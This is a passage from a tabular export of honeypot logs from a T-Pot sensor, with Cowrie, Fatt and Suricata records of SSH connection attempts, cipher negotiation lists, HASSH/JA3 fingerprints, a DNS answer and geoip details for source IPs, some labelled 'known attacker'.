"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25135	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:09:34.734516+03	2021-09-20 14:15:09.711472+03	{"_id": "gQblAnwBvYTbRNuEnhgg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30261, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2072, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1208676474825971, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50309, "timestamp": "2021-09-20T11:09:34.734516Z", "@timestamp": "2021-09-20T11:09:34.734Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25136	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:34.785693+03	2021-09-20 14:15:09.712505+03	{"_id": "hAblAnwBvYTbRNuEnxgu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34846, "dest_port": 443, "timestamp": "2021-09-20T11:09:34.785693", "@timestamp": "2021-09-20T11:09:34.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25137	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:34.313615+03	2021-09-20 14:15:09.7145+03	{"_id": "hQblAnwBvYTbRNuEnxgu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50582, "dest_port": 22, "timestamp": "2021-09-20T11:09:34.313615", "@timestamp": "2021-09-20T11:09:34.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25138	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:09:34.82602+03	2021-09-20 14:15:09.715502+03	{"_id": "iAblAnwBvYTbRNuEnxgv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34846, "timestamp": "2021-09-20T11:09:34.826020", "@timestamp": "2021-09-20T11:09:34.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25139	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:35.074222+03	2021-09-20 14:15:09.7165+03	{"_id": "igblAnwBvYTbRNuEnxgv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55948, "dest_port": 22, "timestamp": "2021-09-20T11:09:35.074222", "@timestamp": "2021-09-20T11:09:35.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25140	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:34.794392+03	2021-09-20 14:15:09.7175+03	{"_id": "iwblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:55948 (192.168.176.2:22) [session: 8f0fa4d51bfa]", "session": "8f0fa4d51bfa", "@version": "1", "protocol": "ssh", "src_port": 55948, "dest_port": 22, "timestamp": "2021-09-20T11:09:34.794392Z", "@timestamp": "2021-09-20T11:09:34.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25141	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:34.600627+03	2021-09-20 14:15:09.719509+03	{"_id": "lgblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dc35b2f07021", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:34.600627Z", "@timestamp": "2021-09-20T11:09:34.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25142	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:34.670376+03	2021-09-20 14:15:09.720503+03	{"_id": "lwblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dc35b2f07021", "@version": "1", "timestamp": "2021-09-20T11:09:34.670376Z", "@timestamp": "2021-09-20T11:09:34.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25143	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:34.795168+03	2021-09-20 14:15:09.722471+03	{"_id": "mAblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8f0fa4d51bfa", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:34.795168Z", "@timestamp": "2021-09-20T11:09:34.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25144	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:34.979817+03	2021-09-20 14:15:09.723502+03	{"_id": "mQblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e4c204dc2291", "@version": "1", "duration": 3.5018296241760254, "timestamp": "2021-09-20T11:09:34.979817Z", "@timestamp": "2021-09-20T11:09:34.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25145	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:34.983075+03	2021-09-20 14:15:09.7245+03	{"_id": "mgblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ff9c995c571a", "@version": "1", "duration": 3.30592942237854, "timestamp": "2021-09-20T11:09:34.983075Z", "@timestamp": "2021-09-20T11:09:34.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25146	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:35.075037+03	2021-09-20 14:15:09.725504+03	{"_id": "mwblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", 